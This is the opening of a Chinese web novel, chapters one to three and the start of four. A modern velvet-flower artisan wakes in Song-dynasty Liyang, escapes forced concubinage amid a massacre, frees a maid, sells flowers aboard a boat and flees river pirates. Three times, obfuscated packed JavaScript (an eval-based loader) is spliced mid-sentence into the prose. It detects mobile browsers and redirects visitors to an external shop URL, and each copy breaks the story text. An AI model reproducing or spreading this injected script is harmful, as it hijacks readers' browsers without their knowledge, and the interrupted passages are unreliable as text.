《我在汴京做绒花》 1. 第一章 开局即死局 溧阳知县后宅。 漆黑夜色掩映中,一乘青盖小轿自府宅的偏门轻悄抬进。 到了二门上,随行的仆妇李娘子喝退抬轿的健仆,自那轿中半扶半抱出一个装束华丽的女子,正是本县县令韩宽今日要纳进府中的第五房妾室。 观这女子身量不过十六七岁,头上蒙着一层绯红轻纱,不见其面容。此刻被簇拥在满身绫罗珠玉中,依然显得身段纤细如弱柳迎风。 李娘子撇撇嘴,心道:“狐媚样儿,这常春不过庙后街一个卖花的孤女,也不知用了何种手段让官人上了心,强行给纳了进来……” 终归还是怕得罪了新宠,紧抓着常春臂间软肉的手指松了些。 常春温顺地低着头,任由身侧两名仆妇一左一右夹着她走得飞快。 夜风簌簌吹起覆面轻纱,只见她的颈项间,赫然是一道青紫狰狞的勒痕。勒痕极深极重,简直让人疑心她的颈骨是否也跟着一起折断了去。 夜色中急促的脚步晃开衣袖,她的一双手腕并放在身前,竟也是密密麻麻的紫红伤痕,此时还紧紧系着一段粗糙的麻绳,几乎要勒进皮肉里。 常春在心中暗骂了一声娘。 三天前她通宵两夜,肝完最后一笔单子,从插满成品绒花的桌前起身,踉跄着跨过满地凌乱的丝线绒片,“刷拉”一声,拉开她在大学校外租的这间小小工作室的窗帘,然后…… 然后就在第一缕晨曦中倒了下去。 常春其人,自小父母早亡,到高中时相依为命的外婆也去了,真正是孤家寡人全靠自己。 好容易磕磕绊绊勤工俭学上了大学,借着近几年国风复兴的潮流学了一门做非遗绒花的手艺,勉强能覆盖生活与学费开支。正沉浸在大三开学就爆单的喜悦中时,嘎嘣一声,倒下了。 再睁眼,就是几名健妇手忙脚乱将这个时代的常春自梁上解下来,睁眼看见李娘子抖着手去探她的鼻息,发现人并没死后,又一叠声的唤人端水拿药来,这样兵荒马乱的场景。 所幸这些年风风雨雨人情冷暖,她的神经早已锻炼得无比强悍,只花了0.01秒便迅速接受了眼前事实—— ——其实并不能接受。 ——开玩笑吗?x江x点她多少也看过一些狗血梗文,哪个女主穿越过来是马上就要给一个五十多岁的老头子当妾的啊摔! 常春从来不是坐以待毙的性格,在这三天她翻墙、跳井、绝食,甚至连趁乱放火都试了,换来的却是一次比一次严密的监守。 直到现在,双手被牢牢捆住,前后左右俱是婢仆,真正是插翅难飞,即使精神顽强如她,也终于忍不住有了一丝泄气之感。 想必原身也是在这样上天无路入地无门的的情况下,才绝望地投缳自尽的吧。 常春默默地攥紧了手指,由于手腕被绑得太紧,血流不畅,指间针扎般的痛麻几乎令她立即叫出声来。 她咬紧牙关,在心中默默给自己鼓劲。 李氏将她带进了一所小院的西厢房,房中点着两盏粉纱灯笼,烛光渲染出暧昧的光晕。 常春坐在厢房的床上,透过头上朦胧红纱四处打量。 这间屋子虽小却极精致。 眼前雕花牙床上悬着销金罗帐,屋中厚铺波斯绒毯,炉中熏着靡靡甜香。 屋中当地上一张花梨八仙桌,其上堆叠着层层杯盘碗盏,盛着干鲜果品、四时菜色,琉璃壶中美酒佳醪在烛光下映出琥珀色的光影。 李氏见她目不转睛的盯着屋子看,从鼻中哼出一个不屑的冷笑,道:“现在知道好了?先前那般做张做致,我还当果真是个贞洁烈女呢!” 随手点过一个屋内侍奉的小丫头:“过来,给我把她看紧了,待前面席散了官人便过来,要是误了好事可仔细你的皮子!” 小丫头云雀一连声地应了。 李氏又用淬毒般的眼神刮了一眼常春,料定她双手绑着,在这层层落锁的深宅大院内必然逃脱不得,腰一扭便疾走着赶去前头,趁着主家今日喜兴讨赏去了。 这边常春见她走远,轻轻叹了一口气。 云雀霎时紧张起来,忙道:“娘子可是要喝水?”说着麻利地自暖壶中倒出一杯淡茶送至常春唇边。 常春稍微后退,她的声带受了伤尚未好全,一开口声音沙哑:“多谢,我不喝。” 云雀迟疑道:“娘子的嗓子……” 常春苦笑一声,故意偏头引她去看颈间触目惊心的勒痕,又微微伸手给她看腕间紧缚的麻绳。 经了这大半日的捆绑,麻绳粗糙的纤维已将手腕处细嫩的皮肤尽数磨破,绳上全是斑斑血痕。 云雀果然倒吸一口凉气,常春已泪盈于睫,哀哀道:“妹妹,为人婢仆身不由己,我也不愿令你为难……可这实是太疼了,能否为我松开一点,一点点就行。” 见云雀犹疑不绝,常春又道:“妹妹可是怕我逃?不怕妹妹笑话,刚刚进来这一路七绕八拐的,我早就晕头转向了,便是想逃也找不到路呀。” 说着她的手腕动了两下,皮肤破口处竟滴下两滴鲜血来,衬得缺血的手掌乌紫肿胀,十分可怖。 云雀也只是个十来岁的小丫头,见此情形目露恻隐。 她蹲下身,伸手去松常春手上的结,可人小力道不够,又偏过头拿牙齿去咬。 常春看着小丫头黑色的发顶,因为用力而突出的腮骨,感到手腕稍微松了一点便打断她道:“好了,不用解了。” 她笑着看向云雀道:“如此便好,比刚刚松快了不少,多谢。” 云雀嗫嚅了几声未及开口,“砰”地一声,一股酒气混合着夜风卷了进来。 知县韩宽年逾五十,华贵的织金锦袍盖不住一身肥油。 此时他不耐烦地挥手屏退下人,踉跄着走到常春跟前,一把将她搂到怀里,轻易便制住了她微不足道的挣扎。 他掀开轻纱,酒醉迷离的视线将怀中人上下舔了个遍,涎着脸笑道:“此间处所娘子可还满意?” 常春强忍着那股令人作呕的酒色之气,只低头作含羞不语状。 韩宽愈发心痒难耐,将蓄着一把长须、毛烘烘的嘴凑至常春颊边,常春下意识往后一退避开。 她只作不见韩宽陡然阴沉的脸色,一眨眼便是两颗晶莹泪珠滚下双颊。 一张口声音微哑,含羞带怨:“官人要妾进来伺候,何不正经请了媒人来,偏要逼妾写了身契,平白叫妾低人一头!” 韩宽今晚小登科,被几个同僚你来我往劝了太多酒,视线迷乱中仍可见她一张小脸素白如玉,杏眼桃腮,柳眉樱口,真是好一朵楚楚可怜的小白花。 他伸手去探常春衣襟,偏偏怀中美人左躲右藏就是不让他得手,顿时急得无可如何,胡须并着脸上的皱纹都在颤抖。 他心痒难耐,沉吟半晌,自袖囊中摸出一把串着精巧珠络流苏的钥匙,拍在榻边几上:“这是我私库中文书匣子的钥匙,明日便带娘子去找出身契,当场撕了如何?” 常春紧紧盯着那把钥匙,眸中神色明暗变化,最终对着韩宽嫣然一笑:“妾这才敢信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882898|191969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官人的心意了。” 韩宽登时如同得到了允准般,急不可耐地将常春按到,便要伏下身去好好消受一番这满怀温香软玉。常春眼睛微眯,心道:“就是现在!” 她的手强行自松开了些许的麻绳中挣脱开来,顾不得手腕间皮开肉绽鲜血淋漓,反手摘下自己发间一枚尖脚银簪,电光火石中对着韩宽颈间狠狠扎下—— “噗嗤!” 一泼热血瞬间溅了常春满身,她瞪大眼睛,一错不错的看着韩知县的反应。 ——终归发簪只是小物,纵使鲜血喷溅十分唬人,能造成的伤口毕竟有限,常春绝望地闭了闭眼。 韩宽经这一刺酒醒了大半,气得须发倒竖,鼻翼翕张。 他怒不可遏,一手紧紧捂着颈间流血的伤口,一手青筋暴涨,掐着常春的咽喉将她提起来,怒道:“你这娼妇,竟敢行刺本官!” 常春本就重伤未愈的喉间软骨不堪重负,发出“咯咯”的声音,疼痛与窒息充斥着整个大脑。 但她还是拼着最后一丝气力,用指甲死命抠着那双掐住她咽喉的手。 一双因窒息充血而暴突的大眼睛死死盯着他,眼中有刻骨的仇恨与不甘,就是不见半点软弱。 突然门被谁大力踹开,发出一声震耳欲聋的声响,一股清冽的空气涌了进来,冲破屋内浓重血腥。 韩宽吓了一跳,掌中力度稍减,常春喉间一松,跌落在地咳出几口血沫,便蜷缩在地上一动不动了。 她意识恍惚间只见一双皂面官靴,气定神闲地自门外迈进来,仿佛并未看见一室混乱血迹与蜷在地下的女子,只对着面前喘着粗气的韩知县道: “本官听闻韩大人今日大喜,特来相贺,未知竟扰了大人雅兴。” 韩宽看清来人后当即双膝一软,顿时磕头如捣蒜,只道:“少尹大人,是什么风把您从汴京吹到了这儿来——属下不敢,属下再也不敢了!” 被他称作少尹大人的男子看去未及弱冠,身形颀长,着一身绯色锦边窄袖襕衫,其上满绣鸟禽小团花。 如此秾艳的颜色穿在他身上,也只是令他更显气质端凝,容颜如玉。 凌肃好整以暇地坐下来:“本官因何而来——有样东西,韩大人私藏许久,荣王命我前来取回。” 韩宽脸上神色几度变幻,颈间伤口仍在汩汩流着血,让他的神色愈加狰狞。 他目光游移,突然像下定了某种决心,随即踉跄起身,边朝门外跑去边大喊:“来人!来人!” 凌肃似觉得有些吵闹,偏了偏头,身侧侍卫立即上前一把捏住了韩宽咽喉。 他往前探了探身,一双琉璃般不带感情的眸子如同鹰隼般,直直盯着垂死挣扎的韩宽。 “今日韩大人纳妾小宴所请至交同僚十二人,及府中亲眷十五人,尸体都已摆在庭中了。其余婢仆全都已妥善处置,只等择日发卖,现在韩大人还想叫谁来,我替你叫去?” “你此前结党营私,鱼肉乡里、欺男霸女之事做尽,无非背靠大树好乘凉,如今你的‘大树’尚且自顾不暇了,韩大人可有想过今天?” 他冷冷一笑:“我不想浪费时间,那本名册在哪儿,痛快交出来我留你个全尸!” 韩宽目眦尽裂,肝胆俱碎,只是死咬牙关不开口。 这时凌肃脚边传来一点挣扎的动静,侍卫当即持刀上前,却被他挥手止住。 只见地上本以为断了气的女子挣扎着抬头,面目沾血犹如厉鬼,跪坐起来嘶声道:“我知道、你们要的……东西在哪儿。” 2. 第二章 恻隐之心 闭眼等了半晌,见并没有想象中的当头一刀,常春再给自己鼓了鼓劲,忍着浑身剧痛,膝行至榻几边,找出了刚刚混乱中被扫到地下的钥匙。 其上系着珠络流苏,精巧非常。 她在赌,实则她对什么名册藏在哪儿,一点把握都没有。 但方才在生死恍惚之间听见二人对话,她突然记起刚刚这个狗官为了哄她说的——这是他私库文书匣子的钥匙。 一个妾的身契,远不至于需要专门藏在私库中,还要锁在匣内,并将如此镶金嵌宝的一把钥匙随身携带。 她转身深深伏地,只留给众人一段雪白的脖颈,高举双手中的钥匙颤声道:“大人明鉴,这便是韩宽私库文书匣子的钥匙。” 她用眼角余光,瞥到被侍卫制住的韩宽疯了一般挣扎起来,心头顿时一松,果然让她蒙对了。 常春抬头微微拭泪,雪白小脸上溅着一道鲜红血痕,素净中透着一丝无匹艳丽。 她纤细的身体犹自微微颤抖,竟似怕到了极点,令人无端想起围场中被无情弓箭射中的小鹿。 她哑声哽咽道:“妾本是良家女子,今日才被这知县强纳进府中,前尘往事尽皆不晓。还望大人怜惜,放妾一条生路。” 一旁的侍卫投来问询的目光,凌肃哂然一笑,心知这女子绝不像她表现出来的这样柔弱无害。 他的视线扫过地上带血银簪,又看向韩宽颈间尚在冒血的伤口,若非这女子力气太小,只怕韩宽早被她刺死,叫她逃了出去。 凌肃瞥过一个眼神,侍卫立即会意,横刀一抹,当即便结果了韩宽。 他喉间气道断开,喝喝作响,颈中鲜血冲天飞起,泼洒在常春身前的地毯上,又腥又热。 常春死死压抑着喉间欲喷薄而出的尖叫,十指深深抠进了软毯中,指间沾满鲜血的黏腻湿热。 下一个会是我吗? 她浑身发着抖等待着。 良久,在常春几乎觉得自己已经在劫难逃的时候,拿着钥匙出去的侍卫去而复返,将一个朱漆错金的锦匣递给凌肃。 凌肃接过打开随意翻了翻,略过面上火漆封缄的名册,修长手指自匣底夹起薄薄一张契书,问她:“你叫常春?” 常春如梦初醒。 她此刻已不敢再故作柔弱之态,只深深埋首,紧紧咬着牙关,连连磕头:“贱妾之名,不敢污了大人尊耳。” 良久,那张轻薄的契书自他指尖飘落到她面前。 他淡淡地说:“拿上它,走吧。” 常春几乎不敢相信自己的耳朵,她迟疑着抬头望向上方端坐着的青年,依旧是冷肃眉目,端凝中带着一些漫不经心的神情。 他轻启薄唇,冷冷问她:“还不走?” 常春一个激灵回过神来,猛地起身,抓过身契连滚带爬的跑走了。 “遇荼蘼花架向左……抄手游廊后的三岔路选右边……假山石后有很高的台阶要小心……” 她浑身已被冷汗湿透,风一吹彻骨冰冷,但她此刻全无知觉,只顾埋头咬唇,凭着本能在心中默背着刚才硬记下的进府路线,飞速穿梭在韩府后宅中曲折回环的道路上。 不到一盏茶时间,她就站在了韩府外的长街上。 脚底黏腻的触感,不用看也知道是什么——方才匆匆跑过正院时,她仓促间在门缝中窥见的那一地尸体,淌出来的鲜血湖泊。 背后滔天大火燃起,映亮半边夜空。 想必明日韩府满门,便会在世人口中死于一个合理的理由吧。 一阵恶寒自脊椎升起,常春强自压抑住胸腔中翻涌的血气,拔足狂奔。 常春回了自家小院后,足足发了一天一夜的高烧。 她终归只是个生在红旗下,长在春风里的年轻女孩子,这几天噩梦般的经历,在她稍微缓过来后,就变成了几乎要将魂魄都焚烧殆尽的高热。 她做了许多光怪陆离的梦。 爸妈,外婆,宿舍里玩笑嬉闹的舍友,校门外的黄焖鸡米线,还有她刚刚建立的简陋工作室,以及立志要成为一代非遗绒花大师的、不知天高地厚的梦想…… ……都在梦境中离她远去了。 她蜷缩起来,喃喃自语:“外婆,我好害怕,好想回家……” 常春最终未能如愿以偿。 北宋的阳光,如同之前和之后的千年万年一样,穿透薄纱般的晨霭,如常唤醒了大地上的人们,也照亮了溧水边这间小小的院子。 河岸边一支满载蔬果的驴队自小院外走过,叮当作响的铃声敲醒了沉睡中的常春。 她睁眼环视一圈,自己仍然留在这里。 依旧是简陋而温馨的屋内陈设,瘸了条腿的木案上,还放着一个陈旧却憨态可掬的布老虎。 原身同她一样,也有个相依为命,又于不久前去世的外祖母。 常春吃力地坐起来,手指紧紧抓住了身下的被褥,咬牙道:“既然回不去,那就活下去!” 她抚上心口,感受着那蓬勃跃动的心跳: “连带着你的那份,一起活下去!” 常春在心中过了一下这几日的见闻,有了个模模糊糊的打算,但她还需要再去市井间验证验证。 腹中传来“咕”的一声,她迎着晨曦笑了笑,这样还知道饿的感觉,竟也很不错呢。 她下床草草洗了把脸,穿上一身青布衣裙,头上随意用木簪挽了个髻,纵使荆钗布裙,依旧难掩清丽容色。 想了想,为防有人认得她,牵扯出韩府那桩事,又在头上罩了个幂篱。这才将前日换下来的妆花褙子,锦缎褶裙放进竹篮里,挎着出了院门。 她去的是离家最远的城西。先找了一间典当铺子,将那套进府所穿的华丽衣裙当了三十贯,又软声托掌柜的将其余铜钱尽数兑成体积小好携带的官银,只余一贯零散铜钱在身边备用。 纵常春头戴幂篱,仍旧依稀可见其窈窕身姿,端稳步伐。 兼之她一开口语调干脆,口齿伶俐,听着便知是个心中有成算的小娘子,因此掌柜的并不敢十分压价,又规规矩矩按照吩咐兑来银子交付与她。 常春接过,福身行了个礼,问他道:“敢问掌柜,此地的丝线庄,花色最多,货物最好的是哪一家?” 蚕丝线是制作绒花最重要的材料,丝线的质量好坏,直接影响到绒花成品的绒感与光泽度。 溧阳此地正是江浙一带丝织业最发达的地区,华美锦缎销往四方,天下闻名。是以这里家家户户皆蓄桑养蚕,煮茧缫丝,丝价较他地更廉。 一路自城东行至城西,常春留神打量此间女子打扮妆饰。 服饰倒是宋代常见的长短褙子并各式褶裙儿,发间所饰花朵却多是纱罗堆成,偶见一两支类似绒花的发饰,也多是形态僵硬、式样老旧、色泽呆板之物。 常春想想自己的手艺,心中又添了两分自信。 宋人好装饰,无论男女皆喜戴花。 这一会儿功夫,常春眼前便过去了几个簪花少年,嘻嘻哈哈笑闹着,风流恣肆,青春洋溢。 她的脸上也不禁挂上了一点笑容,胸腔中似乎有勃勃希望跃动着,自惶恐忧虑中长出一株细弱的幼苗。 她顿了顿,随即快步向丝线庄的方向而去。 对面酒阁,楼上包厢内。 一名锦衣侍卫躬身问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882899|191969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“少尹大人,韩府的事收尾已毕,大人还有何指示?” 着绯袍的少尹大人却斜倚窗格,良久不语,视线往下不知在看什么,半晌轻笑一声:“事既已毕,明日便回汴京去。” 翌日清晨,溧水码头边。 今早五更未过,常春就早早起身收拾了行囊。 又将小院钥匙托给隔壁邻居婶子,许了她几个钱,托她帮忙看顾着些,便毫不留恋的转身走了。 她也想过索性将小院一起卖了,又在看到屋子里明显是原身细心保存的、外祖母的各种绣活后,打消了这个念头。 如果她再不记得,这世上就真的没人记得这一对相依为命的祖孙了。 天光熹微时常春赶到了码头边。 她的灵魂虽然并非本乡人,还是在看到溧水边不断远行的各种船只后,涌上了一阵深深的怅惘。 ——直到一阵女子此起彼伏的尖叫让她自愁绪中回过神来。 原来是几名奴仆打扮的女子正被后方几个差役赶上一艘小船,预备贩往其他地方。 许是走得慢了些,后面的男子不耐烦地推搡了一下,最末的小姑娘重心不稳,顿时跌倒在地。 常春定睛一看,顿时失声喊道:“云雀?” 前方几名要被卖往外地的女子,正是那日被发卖的韩府家奴。 云雀回头见了常春,眼中光芒又惊又喜,正待要开口,却被常春疾步上前打断。 为便远行,常春依旧是一身粗布衣裙,乌黑头发在脑后挽了个清爽螺髻,露出修长白皙的颈项,凝目细看,还能看见其上未散的淤青。 她几步行至云雀身前,一把将她搂入怀中放声大哭。 边哭边道:“我可怜的妹子,五岁时你被人牙子抱走,不知卖到了何处……娘在家日日哭,哭瞎了一双眼睛,不想今日姐姐竟在此处找到了你!” 差役上前问询,常春一边抹泪,一边抽抽噎噎说完原委,又道:“官爷若是不信,我家妹妹左手掌缘生有三粒小痣,妾所说是真是假,官爷一验便知。” 不待差役吩咐,云雀便乖觉地伸出了左手。掌缘下方隐蔽处果真有三粒小痣聚在一起,正是那晚韩府中,云雀使出吃奶的劲解绳子时,被常春所见。 差役本来将信将疑,这下也不由得信了七分。 他看着相拥而泣楚楚带泪的姐妹俩,神情虽略有缓和,却仍旧迟疑道:“话虽如此,可这是上司吩咐要远远发卖的罪奴……” 前方一艘白帆航船上,舱内轩窗的茜草帘子稍微卷起,一双琉璃般的眸子直直望向这边。 修长两指轻敲窗沿,年轻的少尹大人神情若有所思,半晌微带讽刺地说了句: “巧言令色!” 那边常春已经拉着云雀扑通一声跪下,神情凄切,泪珠盈盈,仰脸看着差役恳切道: “官爷,妾虽为女子,也非是不懂朝中律例如山的道理。” “……只是妾听闻宫中官家亦有言:‘孝者,天之经,地之义,民之行也。’再则阿娘日夜盼着小妹归去,已是病体支离,还不知撑不撑得过年去……” 常春泪珠汹涌:“今日惟愿官爷允我替妹妹赎身,妾来生定当结草衔环以报大人恩德!” 那差役看看哭得几欲昏死过去的姐妹俩,一狠心一跺脚,咬牙道:“既如此,你们且等我同上司禀报。” 他转身匆匆上了前方的白帆航船。 良久,差役转身回来,道:“官人道‘既是好容易寻到了妹子,没得叫人家骨肉失散的道理,这身价便折半也可。’” “小娘子,这罪奴原本身价三十六贯,官人开恩,你付十八贯便可。” 3. 第三章 长春绒花 莫说是十八贯,常春身上现在连八贯也没有,前日当衣服的三十贯,除开预备北上汴京的路费,大半都用来买丝线鬃梳剪刀等绒花所需的材料了。 她咬咬牙,一把捋下腕上一枚银臂钏,递给差役道:“此枚臂钏是妾外祖母的遗物,应当能值二十贯钱,官爷可拿去估价。” 差役接过臂钏,又转身回了船上。 这次他回来得十分迅速,不知道是不是错觉,常春觉得他的神情也莫名客气起来。 他将云雀的身契并一枚白玉鱼佩递给常春道:“娘子,船上暂无零散铜钱,多出的两贯便以此相抵可否?” 常春不懂玉,但这莹然生光、触手温润的玉质,精雕细琢、巧夺天工的刻工,怎么看都该超出两贯钱几百倍才是。 她先是目露疑惑,随即又转念一想,反正自己一穷二白,也没什么可图的,于是就郑重收了,带着云雀向差役行了礼,转身向着开往汴京的客船而去。 身后船舱内,几缕晨光穿过窗棂,落在凌肃指间。 他手中一枚银色臂钏熠熠生辉,无一丝划痕,可见佩戴之人平素是多么珍重爱护此物。 臂钏上精工琢镂着连绵不断的五瓣长春花,枝繁叶茂,栩栩如生,仿佛能从那细巧花瓣间滴下露珠来。 身旁侍卫眼看着自家大人接过臂钏,沉吟了一下,又解下腰间常佩的鱼佩,对差役道:“拿给她,就说是找的钱。” 他正要说什么,却被少尹大人挥手打断:“无妨,她既有些急智,又重情义,便当做她‘姐妹’重逢的贺礼吧。” 反正今后应当是不会再见了。 从溧阳到汴京,水路上要行经四十余日,船费也理所当然高得令人咋舌。 多了个云雀,原先预备的路费便少了一大截。 常春好说歹说,勉强买下个最窄小的铺位,又同船家讲定让云雀每日去船上厨房帮忙,两人好歹在船上安顿了下来。 云雀丧着一张小脸怯生生道:“春娘子,我是不是拖累你了……” 常春捏捏她:“无妨,多张嘴吃饭而已,你姐姐我这点本事还是有的。” 顿了下又道:“我并非将你视作婢女,你家中既已无人,以后唤我阿姐便是。” 云雀立即仰脸甜甜叫了声:“阿姐!” 常春拍拍她的头,在这连日的紧绷与慌乱中,终于露出了一个由衷的笑容。 趁着云雀去厨房帮忙的间隙,常春取出一缕桃红丝线,展开包袱中的折叠木架将它分缕系上,再拿出鬃刷借着船舱窗边的天光,耐心地将根根分明的丝线梳得蓬松润泽。 又以纤如毫毛的铜丝每隔一段距离细致捆上,用利剪剪下后立即浸入女子梳头所用的刨花水中,趁着湿润有粘性时凹出花瓣的弧度,放至通风处阴干。 此后的粉白、朱红、青绿丝线亦是如此操作。待绒片干燥后,再换绣花小剪细致剪出花瓣与叶片的形状。 素手纤纤绕过花枝,将各色花瓣叶片以丝线捆绑组装起来。 粉白杏花清新可人,秾艳碧桃芳华灼灼,朱砂红梅凌霜傲雪,不到两个时辰,常春面前的小几上就仿佛盛开了一片花海。 她长长呼出一口气。 船上条件有限,光线晦暗不说,行船时还会颠簸晃动,暂且只能用基础的技法,做些最简单的花样了。 常春随手取过一支杏花簪在鬓边,又将其余的花枝尽数别在一块细白布上盖好,整整衣裙,向着前舱款款而去。 时已过午,前舱甲板上的客人三三两两立着,俱是用过午饭出来赏景消食的。 常春虽只着一袭素裙,但身段窈窕,脖颈修长,脑后高挽的螺髻光可鉴人,无任何珠玉之饰,更衬得鬓边那支粉白杏花清新淡雅、浑若天成。 她出现在甲板上,立即吸引了一众女客的视线,有位胆大泼辣的娘子忍不住问道:“小娘子头上杏花是何处购得?” 又自言自语嘀咕道:“现下不过十一月,怎地这时节便有杏花了?” 真是瞌睡了就有人递枕头。 常春立即莞尔一笑,伸手自发间取下那支杏花,递到她面前:“娘子请看,此物非是真花,乃是我自家做的。” 那娘子接过去细细端详了半天,手中这枝杏花花瓣粉薄,花蕊密簇,叶片青碧,经络分明,甚至连叶上的露水都晶莹剔透欲滴未滴,这、这竟是假花?! 她忍不住瞪大了双眼,骇然道:“这是如何做出的,竟与真花无异!” 常春笑道:“还是有些不一样之处——真花易凋谢,过了时令便再难寻觅。可我的绒花便是三年五载过去了,也依旧是现在这样娇艳,一年四季都能插戴。” 周围几位娘子的目光跟随着杏花,在她指尖轻轻转了个圈,又插回了发间,引来几声歆羡的叹息。 常春并未让大家的失望积攒得太久,她将另一手上一直托着的细布轻轻一揭,数十朵娇艳欲滴的绒花便粲然盛放在众人眼前,惹来一阵惊呼。 她露出标准化的营业笑容,温声向众人道:“此是妾自家手作,无论何种绒花,皆是每支三十文,两支五十文。长春绒花,愿为众位娘子鬓边添彩。” 云雀帮厨半日回来,看着眼前包袱里一堆铜钱,粉圆小脸上露出一个如梦似幻的表情。 阿姐、阿姐莫非是打劫了谁不成?! 常春看着她呆滞的表情深感好笑,往她嘴里塞了一块儿笑靥儿酥果:“方才还不信,现在知道阿姐的本事了?” “收拾东西,咱们升舱啦!” 仅仅半日功夫,不仅不用再去厨房帮忙,还能从阴暗逼仄的船尾小铺位,换到前舱虽然不大,但也是私密整洁的小小客舍,对云雀而言无疑是个奇迹了。 她回过神来,双颊泛红两眼发亮:“阿姐,我给你打下手,咱们再做些绒花去卖?” 这个乘胜追击的想法却被常春无情扼杀了。 她懒懒倒在窗边舒适的小榻上,竖起一根手指摇了摇: “其一,船上手作条件不好,一时应急还可,做多了我保证不了出品质量。” “其二,物以稀为贵,这艘船的女客总共也不过数十人,若是商品饱和了,大家也就不觉稀奇了。” “第三,我们是要去汴京做长久生意的,留点悬念,才能细水长流嘛!” 什么出品…质量…饱和…… 云雀的小脑袋里乱成了一锅浆糊,她看了一眼面前小几上,放着半日前在船中帮厨时,她还眼馋得不行的鹌鹑签子、水晶脍,顿时眼神坚定: “不管了,跟着阿姐,有肉吃!” 风顺帆满,桨橹声动。月下千倾芦苇荻花,摇摇瑟瑟,时有雪白水鸟惊起,掠过弦月。 此时已是七日后的夜晚,常春的船已行至太湖最西边的出口,今夜过得一片最深最密的苇荡,再往前方便是宜兴了。 常春停笔倚在窗边,看着船家停船靠岸,船上伙计鱼贯下船,采买食水补给。 她这几日想法借了点纸笔,将绒花制法在纸上默了个大概,又苦思冥想贴近这时代的风俗习惯之法。 船行水上晃晃悠悠,日日盯着纸张,感觉近视都要给她盯出来了,因此常春时时停下手书,向窗外作远观态。 此时岸边酒楼上灯火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882900|191969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通明,远远映出一行人在水边码头话别。 打头一男子绯袍鹤氅,身量颀长,如此远的距离只能遥遥看见个虚影,却依旧掩饰不住一身气度如同朗月青松。 常春端详了一会儿,随即下笔如风,刷刷几笔便画了个松间明月的胸针稿子,调转毛笔用笔头满意地敲了敲: “再是美男也需要妆饰,男性市场同样值得开拓嘛!” 那边码头上的美男却忽然似心有所感,目光如电般向这边看了过来。常春砰的一声关上窗槅,做贼心虚般伸手抚着胸口。 呼!好悬被抓个偷窥的现行。 凌肃察觉到一道目光遥遥盯着这边,疑惑地抬头看去,却只见一艘客船正起锚升帆,几只水边白鹭被惊起,踏碎了水中溶溶月色。 他收回目光,若无其事地拱手道:“今日多谢徐知府盛情,只是年关将近,京中事繁,实在不能多留。改日定由我做东,与徐知府畅饮三日三夜,如何?” 徐知府见他去意已决,只好拱手再拜,又诚恳道: “少尹大人心系公务星夜兼程,臣等拜服。只是太湖中匪患甚重,清剿未及,请大人的行船务必张挂官府标识,以免被不长眼的冲撞了。” 凌肃颔首,随行侍卫匆匆领命而去,张挂标识不提。 后半夜,湖面大雾弥漫,客船似乎驶进了一条浅窄河道,两岸芦苇时时刮擦舱舍窗棂,在其上投下狰狞扭曲的影子。 云雀早已被吓醒,整个人拱在常春怀里。 常春一下下拍着小丫头的背,心中不安之感逐渐浓重。 忽然间她神色一凝,似乎听见远方有快船破水之声遥遥传来。 她低声急道:“快起来穿好衣服!” 眨眼间火光便映亮了前方河面。 数十壮年男子鼓噪呼喝声、击鼓声、刀剑兵器碰撞声清晰入耳。 常春沉声道:“是水匪!” 云雀满面惊惶:“阿姐,咱们快逃吧?” 常春握住她惊颤的手:“四面都是水,水匪船快如飞箭,向哪里逃都是个死罢了!” 云雀已怕得浑身发抖,仍是死死咬住嘴唇不让眼泪掉下来,道: “阿姐,待会儿他们过来,我去引开他们,你趁乱跑,总有一线生机。” 她自小被卖为奴,早不知自己的亲人在何方了。阿姐替她赎身,又带她过了这许多天的好日子,她愿意以死为阿姐换一丝生的希望。 常春却止住了她,伸手摸摸她的脸:“傻孩子。” 随即她迅速将丝线木架等材料裹上油布,打了个大包袱,横挎在自己胸前。又将银两装进一个小袋子塞在云雀身上,迅速将瘦弱的小丫头塞进小几下的茶箧里。 茶箧小而紧窄,从外表看无论如何也装不下一个人,纵使云雀身体瘦弱,被塞进去也几乎透不过气来。 外面水匪厮杀之声音越来越近,时不时可听见刀剑入肉、男女痛呼的声音。 云雀的泪终于汹涌流下来,常春对她微微一笑,做了个‘噤声’的手势。 她靠在门边,侧耳听着门外动静,一道粗重的呼吸和着长刀刮擦地板的声音越来越近。 来了。 她深吸一口气,找准时机一把拉开房门,如同离弦之箭般背着大包袱向后舱跑去。 身后的水匪正欲搜索她们那一间客舍,此时见有个瘦弱女子背着硕大的包袱飞跑出去,便直如见了块肥肉般,眼中射出贪婪凶光。 他草草扫了一眼室内,确定无处可藏人后,便毫不迟疑的招呼后方弟兄: “快来!这儿有个娘们儿,背着大货跑了!” 4. 第四章 簪娘的职业素养 常春飞快地跑在船舱中,胸腔弥漫着火辣辣的窒息感。 